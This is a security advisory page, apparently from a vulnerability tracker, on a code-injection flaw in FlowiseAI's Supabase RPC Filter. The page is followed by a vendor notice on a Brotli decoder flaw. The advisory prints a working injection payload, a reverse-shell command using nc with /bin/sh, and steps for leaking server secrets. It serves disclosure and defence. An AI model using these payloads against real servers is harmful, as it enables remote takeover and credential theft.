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CVE-2025-57164

ExploitedNVDCIRCLENISA

EUVD-2025-29248 · Published Sep 15, 2025

FlowiseAI Pre-Auth Arbitrary Code Execution

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />

image-1
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This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

  1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

  2. Login as an admin user.

  3. Drag in a Supabase node and configure "Supabase RPC Filter".

  4. Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

  5. Trigger the chatbot or workflow to activate the node.

  6. Observe execution of arbitrary code on the backend.

Impact

  • Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
  • Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
  • Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
  • Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
  • LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Technologies

Flowiseai FlowiseFlowise Flowise

Weaknesses

CWE-77CWE-94

CVSS scores

  • v3.19.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Stealth

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

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